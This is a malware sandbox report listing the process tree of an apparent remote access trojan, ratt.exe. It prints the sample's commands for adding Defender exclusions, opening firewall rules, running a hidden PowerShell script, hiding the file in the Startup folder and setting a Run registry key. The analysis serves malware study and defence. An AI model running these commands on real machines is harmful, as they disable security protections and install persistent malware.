| ZeroBOX

ratt.exe "C:\Users\test22\AppData\Local\Temp\ratt.exe"
2580
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\ratt.bat" "
  2660
  - cmd.exe C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    2736
    - nslookup.exe nslookup myip.opendns.com. resolver1.opendns.com
      2804
  - cmd.exe C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    2864
    - WMIC.exe wmic ComputerSystem get Domain
      2908
  - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\ratt.exe"'
    3032
  - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\"'
    908
  - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    1336
  - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    2272
  - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\test22\AppData\Local\Temp\ratt.exe"'
    2548
  - 7z.exe 7z.exe x -o"C:\Users\test22\AppData\Local\Temp" -y ratt.7z
    2644
  - powershell.exe powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    2844
    - netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      2960
    - netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      1152
    - cmd.exe "C:\Windows\system32\cmd.exe"
      2100
      - WMIC.exe wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
        2216
    - cmd.exe "C:\Windows\system32\cmd.exe"
      2464
      - WMIC.exe wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        2572
    - ratt.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      2616
    - attrib.exe "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      544
  - reg.exe REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    1096
  - ratt.exe "ratt.exe"
    2756

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents